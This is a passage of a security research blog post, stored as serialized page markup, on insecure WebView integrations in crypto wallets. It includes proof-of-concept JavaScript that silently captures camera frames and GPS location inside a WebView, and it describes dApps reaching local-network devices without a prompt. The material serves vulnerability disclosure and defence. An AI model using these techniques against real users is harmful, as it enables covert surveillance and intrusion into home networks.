e":30,"value":169748},"            alert",{"type":25,"tag":271,"props":169750,"children":169751},{"style":13603},[169752],{"type":30,"value":394},{"type":25,"tag":271,"props":169754,"children":169755},{"style":17388},[169756],{"type":30,"value":169757},"`Unhandled Promise Rejection: ",{"type":25,"tag":271,"props":169759,"children":169760},{"style":14289},[169761],{"type":30,"value":47221},{"type":25,"tag":271,"props":169763,"children":169764},{"style":13598},[169765],{"type":30,"value":95241},{"type":25,"tag":271,"props":169767,"children":169768},{"style":13603},[169769],{"type":30,"value":1860},{"type":25,"tag":271,"props":169771,"children":169772},{"style":13598},[169773],{"type":30,"value":169774},"reason",{"type":25,"tag":271,"props":169776,"children":169777},{"style":14289},[169778],{"type":30,"value":978},{"type":25,"tag":271,"props":169780,"children":169781},{"style":17388},[169782],{"type":30,"value":23506},{"type":25,"tag":271,"props":169784,"children":169785},{"style":13603},[169786],{"type":30,"value":13665},{"type":25,"tag":271,"props":169788,"children":169789},{"class":13593,"line":16791},[169790],{"type":25,"tag":271,"props":169791,"children":169792},{"style":13603},[169793],{"type":30,"value":169794},"        });\n",{"type":25,"tag":271,"props":169796,"children":169797},{"class":13593,"line":16800},[169798,169802,169806,169810,169814,169818,169822,169826,169830,169834,169838,169842,169846,169851,169855,169859],{"type":25,"tag":271,"props":169799,"children":169800},{"style":13598},[169801],{"type":30,"value":169702},{"type":25,"tag":271,"props":169803,"children":169804},{"style":13603},[169805],{"type":30,"value":1860},{"type":25,"tag":271,"props":169807,"children":169808},{"style":13620},[169809],{"type":30,"value":45801},{"type":25,"tag":271,"props":169811,"children":169812},{"style":13603},[169813],{"type":30,"value":46024},{"type":25,"tag":271,"props":169815,"children":169816},{"style":14289},[169817],{"type":30,"value":44489},{"type":25,"tag":271,"props":169819,"children":169820},{"style":13603},[169821],{"type":30,"value":16213},{"type":25,"tag":271,"props":169823,"children":169824},{"style":13598},[169825],{"type":30,"value":71061},{"type":25,"tag":271,"props":169827,"children":169828},{"style":13603},[169829],{"type":30,"value":44},{"type":25,"tag":271,"props":169831,"children":169832},{"style":13598},[169833],{"type":30,"value":83492},{"type":25,"tag":271,"props":169835,"children":169836},{"style":13603},[169837],{"type":30,"value":44},{"type":25,"tag":271,"props":169839,"children":169840},{"style":13598},[169841],{"type":30,"value":13593},{"type":25,"tag":271,"props":169843,"children":169844},{"style":13603},[169845],{"type":30,"value":44},{"type":25,"tag":271,"props":169847,"children":169848},{"style":13598},[169849],{"type":30,"value":169850},"col",{"type":25,"tag":271,"props":169852,"children":169853},{"style":13603},[169854],{"type":30,"value":44},{"type":25,"tag":271,"props":169856,"children":169857},{"style":13598},[169858],{"type":30,"value":27985},{"type":25,"tag":271,"props":169860,"children":169861},{"style":13603},[169862],{"type":30,"value":27925},{"type":25,"tag":271,"props":169864,"children":169865},{"class":13593,"line":16823},[169866,169870,169874,169879,169883,169887],{"type":25,"tag":271,"props":169867,"children":169868},{"style":13620},[169869],{"type":30,"value":169748},{"type":25,"tag":271,"props":169871,"children":169872},{"style":13603},[169873],{"type":30,"value":394},{"type":25,"tag":271,"props":169875,"children":169876},{"style":17388},[169877],{"type":30,"value":169878},"'onerror: '",{"type":25,"tag":271,"props":169880,"children":169881},{"style":13603},[169882],{"type":30,"value":47807},{"type":25,"tag":271,"props":169884,"children":169885},{"style":13598},[169886],{"type":30,"value":71061},{"type":25,"tag":271,"props":169888,"children":169889},{"style":13603},[169890],{"type":30,"value":13665},{"type":25,"tag":271,"props":169892,"children":169893},{"class":13593,"line":16832},[169894,169898,169902],{"type":25,"tag":271,"props":169895,"children":169896},{"style":16171},[169897],{"type":30,"value":92189},{"type":25,"tag":271,"props":169899,"children":169900},{"style":14289},[169901],{"type":30,"value":22179},{"type":25,"tag":271,"props":169903,"children":169904},{"style":13603},[169905],{"type":30,"value":16165},{"type":25,"tag":271,"props":169907,"children":169908},{"class":13593,"line":16841},[169909],{"type":25,"tag":271,"props":169910,"children":169911},{"style":13603},[169912],{"type":30,"value":169913},"        };\n",{"type":25,"tag":271,"props":169915,"children":169916},{"class":13593,"line":16907},[169917],{"type":25,"tag":271,"props":169918,"children":169919},{"emptyLinePlaceholder":18},[169920],{"type":30,"value":16829},{"type":25,"tag":271,"props":169922,"children":169923},{"class":13593,"line":16915},[169924,169929,169933,169937],{"type":25,"tag":271,"props":169925,"children":169926},{"style":14289},[169927],{"type":30,"value":169928},"        async",{"type":25,"tag":271,"props":169930,"children":169931},{"style":14289},[169932],{"type":30,"value":51324},{"type":25,"tag":271,"props":169934,"children":169935},{"style":13620},[169936],{"type":30,"value":103892},{"type":25,"tag":271,"props":169938,"children":169939},{"style":13603},[169940],{"type":30,"value":28858},{"type":25,"tag":271,"props":169942,"children":169943},{"class":13593,"line":16945},[169944,169948,169953,169957,169961,169966,169970,169975,169979,169984,169988,169993,169997],{"type":25,"tag":271,"props":169945,"children":169946},{"style":14289},[169947],{"type":30,"value":163474},{"type":25,"tag":271,"props":169949,"children":169950},{"style":13598},[169951],{"type":30,"value":169952}," stream",{"type":25,"tag":271,"props":169954,"children":169955},{"style":13603},[169956],{"type":30,"value":46024},{"type":25,"tag":271,"props":169958,"children":169959},{"style":16171},[169960],{"type":30,"value":46029},{"type":25,"tag":271,"props":169962,"children":169963},{"style":13598},[169964],{"type":30,"value":169965}," navigator",{"type":25,"tag":271,"props":169967,"children":169968},{"style":13603},[169969],{"type":30,"value":1860},{"type":25,"tag":271,"props":169971,"children":169972},{"style":13598},[169973],{"type":30,"value":169974},"mediaDevices",{"type":25,"tag":271,"props":169976,"children":169977},{"style":13603},[169978],{"type":30,"value":1860},{"type":25,"tag":271,"props":169980,"children":169981},{"style":13620},[169982],{"type":30,"value":169983},"getUserMedia",{"type":25,"tag":271,"props":169985,"children":169986},{"style":13603},[169987],{"type":30,"value":44610},{"type":25,"tag":271,"props":169989,"children":169990},{"style":13598},[169991],{"type":30,"value":169992},"video:",{"type":25,"tag":271,"props":169994,"children":169995},{"style":14289},[169996],{"type":30,"value":25594},{"type":25,"tag":271,"props":169998,"children":169999},{"style":13603},[170000],{"type":30,"value":51945},{"type":25,"tag":271,"props":170002,"children":170003},{"class":13593,"line":16953},[170004,170008,170013,170017,170021,170025,170029,170033,170038],{"type":25,"tag":271,"props":170005,"children":170006},{"style":14289},[170007],{"type":30,"value":163474},{"type":25,"tag":271,"props":170009,"children":170010},{"style":13598},[170011],{"type":30,"value":170012}," video",{"type":25,"tag":271,"props":170014,"children":170015},{"style":13603},[170016],{"type":30,"value":46024},{"type":25,"tag":271,"props":170018,"children":170019},{"style":13598},[170020],{"type":30,"value":45820},{"type":25,"tag":271,"props":170022,"children":170023},{"style":13603},[170024],{"type":30,"value":1860},{"type":25,"tag":271,"props":170026,"children":170027},{"style":13620},[170028],{"type":30,"value":49833},{"type":25,"tag":271,"props":170030,"children":170031},{"style":13603},[170032],{"type":30,"value":394},{"type":25,"tag":271,"props":170034,"children":170035},{"style":17388},[170036],{"type":30,"value":170037},"\"video\"",{"type":25,"tag":271,"props":170039,"children":170040},{"style":13603},[170041],{"type":30,"value":13665},{"type":25,"tag":271,"props":170043,"children":170044},{"class":13593,"line":16984},[170045,170050,170054,170059,170063,170067],{"type":25,"tag":271,"props":170046,"children":170047},{"style":13598},[170048],{"type":30,"value":170049},"            video",{"type":25,"tag":271,"props":170051,"children":170052},{"style":13603},[170053],{"type":30,"value":1860},{"type":25,"tag":271,"props":170055,"children":170056},{"style":13598},[170057],{"type":30,"value":170058},"srcObject",{"type":25,"tag":271,"props":170060,"children":170061},{"style":13603},[170062],{"type":30,"value":46024},{"type":25,"tag":271,"props":170064,"children":170065},{"style":13598},[170066],{"type":30,"value":49373},{"type":25,"tag":271,"props":170068,"children":170069},{"style":13603},[170070],{"type":30,"value":16165},{"type":25,"tag":271,"props":170072,"children":170073},{"class":13593,"line":16992},[170074,170078,170083,170087,170091,170095,170099,170103,170108],{"type":25,"tag":271,"props":170075,"children":170076},{"style":14289},[170077],{"type":30,"value":163474},{"type":25,"tag":271,"props":170079,"children":170080},{"style":13598},[170081],{"type":30,"value":170082}," canvas",{"type":25,"tag":271,"props":170084,"children":170085},{"style":13603},[170086],{"type":30,"value":46024},{"type":25,"tag":271,"props":170088,"children":170089},{"style":13598},[170090],{"type":30,"value":45820},{"type":25,"tag":271,"props":170092,"children":170093},{"style":13603},[170094],{"type":30,"value":1860},{"type":25,"tag":271,"props":170096,"children":170097},{"style":13620},[170098],{"type":30,"value":49833},{"type":25,"tag":271,"props":170100,"children":170101},{"style":13603},[170102],{"type":30,"value":394},{"type":25,"tag":271,"props":170104,"children":170105},{"style":17388},[170106],{"type":30,"value":170107},"\"canvas\"",{"type":25,"tag":271,"props":170109,"children":170110},{"style":13603},[170111],{"type":30,"value":13665},{"type":25,"tag":271,"props":170113,"children":170114},{"class":13593,"line":17052},[170115],{"type":25,"tag":271,"props":170116,"children":170117},{"emptyLinePlaceholder":18},[170118],{"type":30,"value":16829},{"type":25,"tag":271,"props":170120,"children":170121},{"class":13593,"line":22168},[170122,170126,170130,170135,170140,170144],{"type":25,"tag":271,"props":170123,"children":170124},{"style":13598},[170125],{"type":30,"value":170049},{"type":25,"tag":271,"props":170127,"children":170128},{"style":13603},[170129],{"type":30,"value":1860},{"type":25,"tag":271,"props":170131,"children":170132},{"style":13620},[170133],{"type":30,"value":170134},"onloadedmetadata",{"type":25,"tag":271,"props":170136,"children":170137},{"style":13603},[170138],{"type":30,"value":170139}," = () ",{"type":25,"tag":271,"props":170141,"children":170142},{"style":14289},[170143],{"type":30,"value":27943},{"type":25,"tag":271,"props":170145,"children":170146},{"style":13603},[170147],{"type":30,"value":16431},{"type":25,"tag":271,"props":170149,"children":170150},{"class":13593,"line":22186},[170151,170156,170160,170165,170169,170173,170177,170182],{"type":25,"tag":271,"props":170152,"children":170153},{"style":13598},[170154],{"type":30,"value":170155},"                canvas",{"type":25,"tag":271,"props":170157,"children":170158},{"style":13603},[170159],{"type":30,"value":1860},{"type":25,"tag":271,"props":170161,"children":170162},{"style":13598},[170163],{"type":30,"value":170164},"width",{"type":25,"tag":271,"props":170166,"children":170167},{"style":13603},[170168],{"type":30,"value":46024},{"type":25,"tag":271,"props":170170,"children":170171},{"style":13598},[170172],{"type":30,"value":144298},{"type":25,"tag":271,"props":170174,"children":170175},{"style":13603},[170176],{"type":30,"value":1860},{"type":25,"tag":271,"props":170178,"children":170179},{"style":13598},[170180],{"type":30,"value":170181},"videoWidth",{"type":25,"tag":271,"props":170183,"children":170184},{"style":13603},[170185],{"type":30,"value":16165},{"type":25,"tag":271,"props":170187,"children":170188},{"class":13593,"line":22231},[170189,170193,170197,170202,170206,170210,170214,170219],{"type":25,"tag":271,"props":170190,"children":170191},{"style":13598},[170192],{"type":30,"value":170155},{"type":25,"tag":271,"props":170194,"children":170195},{"style":13603},[170196],{"type":30,"value":1860},{"type":25,"tag":271,"props":170198,"children":170199},{"style":13598},[170200],{"type":30,"value":170201},"height",{"type":25,"tag":271,"props":170203,"children":170204},{"style":13603},[170205],{"type":30,"value":46024},{"type":25,"tag":271,"props":170207,"children":170208},{"style":13598},[170209],{"type":30,"value":144298},{"type":25,"tag":271,"props":170211,"children":170212},{"style":13603},[170213],{"type":30,"value":1860},{"type":25,"tag":271,"props":170215,"children":170216},{"style":13598},[170217],{"type":30,"value":170218},"videoHeight",{"type":25,"tag":271,"props":170220,"children":170221},{"style":13603},[170222],{"type":30,"value":16165},{"type":25,"tag":271,"props":170224,"children":170225},{"class":13593,"line":22337},[170226],{"type":25,"tag":271,"props":170227,"children":170228},{"style":13603},[170229],{"type":30,"value":61190},{"type":25,"tag":271,"props":170231,"children":170232},{"class":13593,"line":36608},[170233],{"type":25,"tag":271,"props":170234,"children":170235},{"emptyLinePlaceholder":18},[170236],{"type":30,"value":16829},{"type":25,"tag":271,"props":170238,"children":170239},{"class":13593,"line":36643},[170240,170245,170249,170254,170258,170262,170266],{"type":25,"tag":271,"props":170241,"children":170242},{"style":13598},[170243],{"type":30,"value":170244},"            connect",{"type":25,"tag":271,"props":170246,"children":170247},{"style":13603},[170248],{"type":30,"value":1860},{"type":25,"tag":271,"props":170250,"children":170251},{"style":13620},[170252],{"type":30,"value":170253},"onclick",{"type":25,"tag":271,"props":170255,"children":170256},{"style":13603},[170257],{"type":30,"value":46024},{"type":25,"tag":271,"props":170259,"children":170260},{"style":13598},[170261],{"type":30,"value":64570},{"type":25,"tag":271,"props":170263,"children":170264},{"style":14289},[170265],{"type":30,"value":40863},{"type":25,"tag":271,"props":170267,"children":170268},{"style":13603},[170269],{"type":30,"value":16431},{"type":25,"tag":271,"props":170271,"children":170272},{"class":13593,"line":36651},[170273,170278,170282,170287],{"type":25,"tag":271,"props":170274,"children":170275},{"style":13598},[170276],{"type":30,"value":170277},"                video",{"type":25,"tag":271,"props":170279,"children":170280},{"style":13603},[170281],{"type":30,"value":1860},{"type":25,"tag":271,"props":170283,"children":170284},{"style":13620},[170285],{"type":30,"value":170286},"play",{"type":25,"tag":271,"props":170288,"children":170289},{"style":13603},[170290],{"type":30,"value":16820},{"type":25,"tag":271,"props":170292,"children":170293},{"class":13593,"line":36659},[170294],{"type":25,"tag":271,"props":170295,"children":170296},{"emptyLinePlaceholder":18},[170297],{"type":30,"value":16829},{"type":25,"tag":271,"props":170299,"children":170300},{"class":13593,"line":36668},[170301,170305,170309,170314,170318,170323,170327,170332,170336,170340,170344,170348,170352,170356],{"type":25,"tag":271,"props":170302,"children":170303},{"style":13598},[170304],{"type":30,"value":170155},{"type":25,"tag":271,"props":170306,"children":170307},{"style":13603},[170308],{"type":30,"value":1860},{"type":25,"tag":271,"props":170310,"children":170311},{"style":13620},[170312],{"type":30,"value":170313},"getContext",{"type":25,"tag":271,"props":170315,"children":170316},{"style":13603},[170317],{"type":30,"value":394},{"type":25,"tag":271,"props":170319,"children":170320},{"style":17388},[170321],{"type":30,"value":170322},"\"2d\"",{"type":25,"tag":271,"props":170324,"children":170325},{"style":13603},[170326],{"type":30,"value":13677},{"type":25,"tag":271,"props":170328,"children":170329},{"style":13620},[170330],{"type":30,"value":170331},"drawImage",{"type":25,"tag":271,"props":170333,"children":170334},{"style":13603},[170335],{"type":30,"value":394},{"type":25,"tag":271,"props":170337,"children":170338},{"style":13598},[170339],{"type":30,"value":144298},{"type":25,"tag":271,"props":170341,"children":170342},{"style":13603},[170343],{"type":30,"value":44},{"type":25,"tag":271,"props":170345,"children":170346},{"style":16187},[170347],{"type":30,"value":953},{"type":25,"tag":271,"props":170349,"children":170350},{"style":13603},[170351],{"type":30,"value":44},{"type":25,"tag":271,"props":170353,"children":170354},{"style":16187},[170355],{"type":30,"value":953},{"type":25,"tag":271,"props":170357,"children":170358},{"style":13603},[170359],{"type":30,"value":13665},{"type":25,"tag":271,"props":170361,"children":170362},{"class":13593,"line":36710},[170363,170368,170372,170377,170381,170386,170390,170394,170398,170403,170407,170412],{"type":25,"tag":271,"props":170364,"children":170365},{"style":13598},[170366],{"type":30,"value":170367},"                stream",{"type":25,"tag":271,"props":170369,"children":170370},{"style":13603},[170371],{"type":30,"value":1860},{"type":25,"tag":271,"props":170373,"children":170374},{"style":13620},[170375],{"type":30,"value":170376},"getTracks",{"type":25,"tag":271,"props":170378,"children":170379},{"style":13603},[170380],{"type":30,"value":43280},{"type":25,"tag":271,"props":170382,"children":170383},{"style":13620},[170384],{"type":30,"value":170385},"forEach",{"type":25,"tag":271,"props":170387,"children":170388},{"style":13603},[170389],{"type":30,"value":394},{"type":25,"tag":271,"props":170391,"children":170392},{"style":13598},[170393],{"type":30,"value":6292},{"type":25,"tag":271,"props":170395,"children":170396},{"style":14289},[170397],{"type":30,"value":40863},{"type":25,"tag":271,"props":170399,"children":170400},{"style":13598},[170401],{"type":30,"value":170402}," t",{"type":25,"tag":271,"props":170404,"children":170405},{"style":13603},[170406],{"type":30,"value":1860},{"type":25,"tag":271,"props":170408,"children":170409},{"style":13620},[170410],{"type":30,"value":170411},"stop",{"type":25,"tag":271,"props":170413,"children":170414},{"style":13603},[170415],{"type":30,"value":28546},{"type":25,"tag":271,"props":170417,"children":170418},{"class":13593,"line":36743},[170419,170423,170427,170432,170436,170440,170444,170448],{"type":25,"tag":271,"props":170420,"children":170421},{"style":13598},[170422],{"type":30,"value":170155},{"type":25,"tag":271,"props":170424,"children":170425},{"style":13603},[170426],{"type":30,"value":1860},{"type":25,"tag":271,"props":170428,"children":170429},{"style":13620},[170430],{"type":30,"value":170431},"toBlob",{"type":25,"tag":271,"props":170433,"children":170434},{"style":13603},[170435],{"type":30,"value":44635},{"type":25,"tag":271,"props":170437,"children":170438},{"style":13598},[170439],{"type":30,"value":46061},{"type":25,"tag":271,"props":170441,"children":170442},{"style":13603},[170443],{"type":30,"value":14406},{"type":25,"tag":271,"props":170445,"children":170446},{"style":14289},[170447],{"type":30,"value":27943},{"type":25,"tag":271,"props":170449,"children":170450},{"style":13603},[170451],{"type":30,"value":16431},{"type":25,"tag":271,"props":170453,"children":170454},{"class":13593,"line":36751},[170455,170460,170464,170468,170472,170477,170481,170486,170490,170494],{"type":25,"tag":271,"props":170456,"children":170457},{"style":13598},[170458],{"type":30,"value":170459},"                    pic",{"type":25,"tag":271,"props":170461,"children":170462},{"style":13603},[170463],{"type":30,"value":1860},{"type":25,"tag":271,"props":170465,"children":170466},{"style":13598},[170467],{"type":30,"value":45782},{"type":25,"tag":271,"props":170469,"children":170470},{"style":13603},[170471],{"type":30,"value":46024},{"type":25,"tag":271,"props":170473,"children":170474},{"style":13598},[170475],{"type":30,"value":170476},"URL",{"type":25,"tag":271,"props":170478,"children":170479},{"style":13603},[170480],{"type":30,"value":1860},{"type":25,"tag":271,"props":170482,"children":170483},{"style":13620},[170484],{"type":30,"value":170485},"createObjectURL",{"type":25,"tag":271,"props":170487,"children":170488},{"style":13603},[170489],{"type":30,"value":394},{"type":25,"tag":271,"props":170491,"children":170492},{"style":13598},[170493],{"type":30,"value":46061},{"type":25,"tag":271,"props":170495,"children":170496},{"style":13603},[170497],{"type":30,"value":13665},{"type":25,"tag":271,"props":170499,"children":170500},{"class":13593,"line":36759},[170501],{"type":25,"tag":271,"props":170502,"children":170503},{"style":13603},[170504],{"type":30,"value":170505},"                });\n",{"type":25,"tag":271,"props":170507,"children":170508},{"class":13593,"line":36768},[170509],{"type":25,"tag":271,"props":170510,"children":170511},{"emptyLinePlaceholder":18},[170512],{"type":30,"value":16829},{"type":25,"tag":271,"props":170514,"children":170515},{"class":13593,"line":36844},[170516,170521,170525,170530,170534,170539,170543,170548,170552],{"type":25,"tag":271,"props":170517,"children":170518},{"style":13598},[170519],{"type":30,"value":170520},"                navigator",{"type":25,"tag":271,"props":170522,"children":170523},{"style":13603},[170524],{"type":30,"value":1860},{"type":25,"tag":271,"props":170526,"children":170527},{"style":13598},[170528],{"type":30,"value":170529},"geolocation",{"type":25,"tag":271,"props":170531,"children":170532},{"style":13603},[170533],{"type":30,"value":1860},{"type":25,"tag":271,"props":170535,"children":170536},{"style":13620},[170537],{"type":30,"value":170538},"getCurrentPosition",{"type":25,"tag":271,"props":170540,"children":170541},{"style":13603},[170542],{"type":30,"value":394},{"type":25,"tag":271,"props":170544,"children":170545},{"style":13598},[170546],{"type":30,"value":170547},"pos",{"type":25,"tag":271,"props":170549,"children":170550},{"style":14289},[170551],{"type":30,"value":40863},{"type":25,"tag":271,"props":170553,"children":170554},{"style":13603},[170555],{"type":30,"value":16431},{"type":25,"tag":271,"props":170557,"children":170558},{"class":13593,"line":36877},[170559,170564,170568,170572,170576,170580,170585],{"type":25,"tag":271,"props":170560,"children":170561},{"style":14289},[170562],{"type":30,"value":170563},"                    const",{"type":25,"tag":271,"props":170565,"children":170566},{"style":13598},[170567],{"type":30,"value":50556},{"type":25,"tag":271,"props":170569,"children":170570},{"style":13603},[170571],{"type":30,"value":46024},{"type":25,"tag":271,"props":170573,"children":170574},{"style":13598},[170575],{"type":30,"value":170547},{"type":25,"tag":271,"props":170577,"children":170578},{"style":13603},[170579],{"type":30,"value":1860},{"type":25,"tag":271,"props":170581,"children":170582},{"style":13598},[170583],{"type":30,"value":170584},"coords",{"type":25,"tag":271,"props":170586,"children":170587},{"style":13603},[170588],{"type":30,"value":16165},{"type":25,"tag":271,"props":170590,"children":170591},{"class":13593,"line":36885},[170592,170597,170601,170605,170609,170614,170618,170622,170626,170631,170635,170640,170644,170648,170652,170656,170660,170665,170669,170673,170677,170682,170686,170690,170694,170698,170702,170706,170710],{"type":25,"tag":271,"props":170593,"children":170594},{"style":13598},[170595],{"type":30,"value":170596},"                    gps",{"type":25,"tag":271,"props":170598,"children":170599},{"style":13603},[170600],{"type":30,"value":1860},{"type":25,"tag":271,"props":170602,"children":170603},{"style":13598},[170604],{"type":30,"value":48075},{"type":25,"tag":271,"props":170606,"children":170607},{"style":13603},[170608],{"type":30,"value":46024},{"type":25,"tag":271,"props":170610,"children":170611},{"style":17388},[170612],{"type":30,"value":170613},"`Lat: ",{"type":25,"tag":271,"props":170615,"children":170616},{"style":14289},[170617],{"type":30,"value":47221},{"type":25,"tag":271,"props":170619,"children":170620},{"style":13598},[170621],{"type":30,"value":13243},{"type":25,"tag":271,"props":170623,"children":170624},{"style":13603},[170625],{"type":30,"value":1860},{"type":25,"tag":271,"props":170627,"children":170628},{"style":13598},[170629],{"type":30,"value":170630},"latitude",{"type":25,"tag":271,"props":170632,"children":170633},{"style":13603},[170634],{"type":30,"value":1860},{"type":25,"tag":271,"props":170636,"children":170637},{"style":13620},[170638],{"type":30,"value":170639},"toFixed",{"type":25,"tag":271,"props":170641,"children":170642},{"style":13603},[170643],{"type":30,"value":394},{"type":25,"tag":271,"props":170645,"children":170646},{"style":16187},[170647],{"type":30,"value":968},{"type":25,"tag":271,"props":170649,"children":170650},{"style":13603},[170651],{"type":30,"value":440},{"type":25,"tag":271,"props":170653,"children":170654},{"style":14289},[170655],{"type":30,"value":978},{"type":25,"tag":271,"props":170657,"children":170658},{"style":61489},[170659],{"type":30,"value":61492},{"type":25,"tag":271,"props":170661,"children":170662},{"style":17388},[170663],{"type":30,"value":170664},"Lon: ",{"type":25,"tag":271,"props":170666,"children":170667},{"style":14289},[170668],{"type":30,"value":47221},{"type":25,"tag":271,"props":170670,"children":170671},{"style":13598},[170672],{"type":30,"value":13243},{"type":25,"tag":271,"props":170674,"children":170675},{"style":13603},[170676],{"type":30,"value":1860},{"type":25,"tag":271,"props":170678,"children":170679},{"style":13598},[170680],{"type":30,"value":170681},"longitude",{"type":25,"tag":271,"props":170683,"children":170684},{"style":13603},[170685],{"type":30,"value":1860},{"type":25,"tag":271,"props":170687,"children":170688},{"style":13620},[170689],{"type":30,"value":170639},{"type":25,"tag":271,"props":170691,"children":170692},{"style":13603},[170693],{"type":30,"value":394},{"type":25,"tag":271,"props":170695,"children":170696},{"style":16187},[170697],{"type":30,"value":968},{"type":25,"tag":271,"props":170699,"children":170700},{"style":13603},[170701],{"type":30,"value":440},{"type":25,"tag":271,"props":170703,"children":170704},{"style":14289},[170705],{"type":30,"value":978},{"type":25,"tag":271,"props":170707,"children":170708},{"style":17388},[170709],{"type":30,"value":23506},{"type":25,"tag":271,"props":170711,"children":170712},{"style":13603},[170713],{"type":30,"value":16165},{"type":25,"tag":271,"props":170715,"children":170716},{"class":13593,"line":36893},[170717,170722,170726,170730,170735,170739,170743],{"type":25,"tag":271,"props":170718,"children":170719},{"style":13603},[170720],{"type":30,"value":170721},"                }, ",{"type":25,"tag":271,"props":170723,"children":170724},{"style":13598},[170725],{"type":30,"value":61536},{"type":25,"tag":271,"props":170727,"children":170728},{"style":14289},[170729],{"type":30,"value":40863},{"type":25,"tag":271,"props":170731,"children":170732},{"style":13620},[170733],{"type":30,"value":170734}," alert",{"type":25,"tag":271,"props":170736,"children":170737},{"style":13603},[170738],{"type":30,"value":394},{"type":25,"tag":271,"props":170740,"children":170741},{"style":13598},[170742],{"type":30,"value":61536},{"type":25,"tag":271,"props":170744,"children":170745},{"style":13603},[170746],{"type":30,"value":20346},{"type":25,"tag":271,"props":170748,"children":170749},{"class":13593,"line":36930},[170750],{"type":25,"tag":271,"props":170751,"children":170752},{"style":13603},[170753],{"type":30,"value":61190},{"type":25,"tag":271,"props":170755,"children":170756},{"class":13593,"line":36943},[170757],{"type":25,"tag":271,"props":170758,"children":170759},{"emptyLinePlaceholder":18},[170760],{"type":30,"value":16829},{"type":25,"tag":271,"props":170762,"children":170763},{"class":13593,"line":36956},[170764],{"type":25,"tag":271,"props":170765,"children":170766},{"style":13603},[170767],{"type":30,"value":16492},{"type":25,"tag":271,"props":170769,"children":170770},{"class":13593,"line":36969},[170771,170776],{"type":25,"tag":271,"props":170772,"children":170773},{"style":13620},[170774],{"type":30,"value":170775},"        main",{"type":25,"tag":271,"props":170777,"children":170778},{"style":13603},[170779],{"type":30,"value":16820},{"type":25,"tag":271,"props":170781,"children":170782},{"class":13593,"line":37023},[170783,170787,170791],{"type":25,"tag":271,"props":170784,"children":170785},{"style":45488},[170786],{"type":30,"value":45941},{"type":25,"tag":271,"props":170788,"children":170789},{"style":14289},[170790],{"type":30,"value":45528},{"type":25,"tag":271,"props":170792,"children":170793},{"style":45488},[170794],{"type":30,"value":14448},{"type":25,"tag":271,"props":170796,"children":170797},{"class":13593,"line":37032},[170798,170802,170806],{"type":25,"tag":271,"props":170799,"children":170800},{"style":45488},[170801],{"type":30,"value":45542},{"type":25,"tag":271,"props":170803,"children":170804},{"style":14289},[170805],{"type":30,"value":45512},{"type":25,"tag":271,"props":170807,"children":170808},{"style":45488},[170809],{"type":30,"value":14448},{"type":25,"tag":271,"props":170811,"children":170812},{"class":13593,"line":45393},[170813,170817,170821],{"type":25,"tag":271,"props":170814,"children":170815},{"style":45488},[170816],{"type":30,"value":45542},{"type":25,"tag":271,"props":170818,"children":170819},{"style":14289},[170820],{"type":30,"value":45495},{"type":25,"tag":271,"props":170822,"children":170823},{"style":45488},[170824],{"type":30,"value":14448},{"type":25,"tag":2352,"props":170826,"children":170827},{"id":17356},[170828],{"type":30,"value":17359},{"type":25,"tag":26,"props":170830,"children":170831},{},[170832],{"type":30,"value":170833},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":25,"tag":26,"props":170835,"children":170836},{},[170837,170839,170845],{"type":30,"value":170838},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":25,"tag":83,"props":170840,"children":170843},{"href":170841,"rel":170842},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[9066],[170844],{"type":30,"value":60700},{"type":30,"value":1860},{"type":25,"tag":44458,"props":170847,"children":170848},{"style":44460},[170849],{"type":25,"tag":698,"props":170850,"children":170854},{"src":170851,"alt":170852,"style":170853},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":25,"tag":26,"props":170856,"children":170857},{},[170858],{"type":30,"value":170859},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":25,"tag":96,"props":170861,"children":170863},{"id":170862},"local-network-access",[170864],{"type":30,"value":170865},"Local Network Access",{"type":25,"tag":26,"props":170867,"children":170868},{},[170869,170871,170878,170880,170886],{"type":30,"value":170870},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":25,"tag":83,"props":170872,"children":170875},{"href":170873,"rel":170874},"https://wicg.github.io/private-network-access/",[9066],[170876],{"type":30,"value":170877},"Private Network Access",{"type":30,"value":170879}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":25,"tag":83,"props":170881,"children":170884},{"href":170882,"rel":170883},"https://x.com/taviso/status/2051310678800253318",[9066],[170885],{"type":30,"value":170882},{"type":30,"value":170887},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":25,"tag":44458,"props":170889,"children":170890},{"style":44460},[170891],{"type":25,"tag":698,"props":170892,"children":170895},{"src":170893,"alt":170852,"style":170894},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":25,"tag":26,"props":170897,"children":170898},{},[170899],{"type":30,"value":170900},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":25,"tag":170902,"props":170903,"children":170906},"zoom-image",{"src":170904,"alt":170905},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":25,"tag":26,"props":170908,"children":170909},{},[170910],{"type":30,"value":170911},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":25,"tag":108,"props":170913,"children":170914},{},[170915,170920,170925],{"type":25,"tag":112,"props":170916,"children":170917},{},[170918],{"type":30,"value":170919},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":25,"tag":112,"props":170921,"children":170922},{},[170923],{"type":30,"value":170924},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer 